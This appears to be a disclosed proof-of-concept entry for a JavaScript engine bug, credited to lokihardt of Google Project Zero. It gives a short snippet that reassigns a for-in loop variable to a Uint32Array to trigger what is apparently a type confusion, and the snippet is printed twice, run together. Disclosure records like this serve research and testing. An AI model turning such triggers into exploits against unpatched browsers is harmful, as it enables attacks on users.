- Report: May 2017
- Fix: Jul 2017
- Credit: lokihardt, Google Project Zero
let o = {};
for (let i in {xx: 0}) {
for (let j = 0; j < 2; j++) {
o[i];
i = new Uint32Array([0, 1, 0x777777, 0, 0]);
}
}let o = {};
for (let i in {xx: 0}) {
for (let j = 0; j < 2; j++) {
o[i];
i = new Uint32Array([0, 1, 0x777777, 0, 0]);
}
}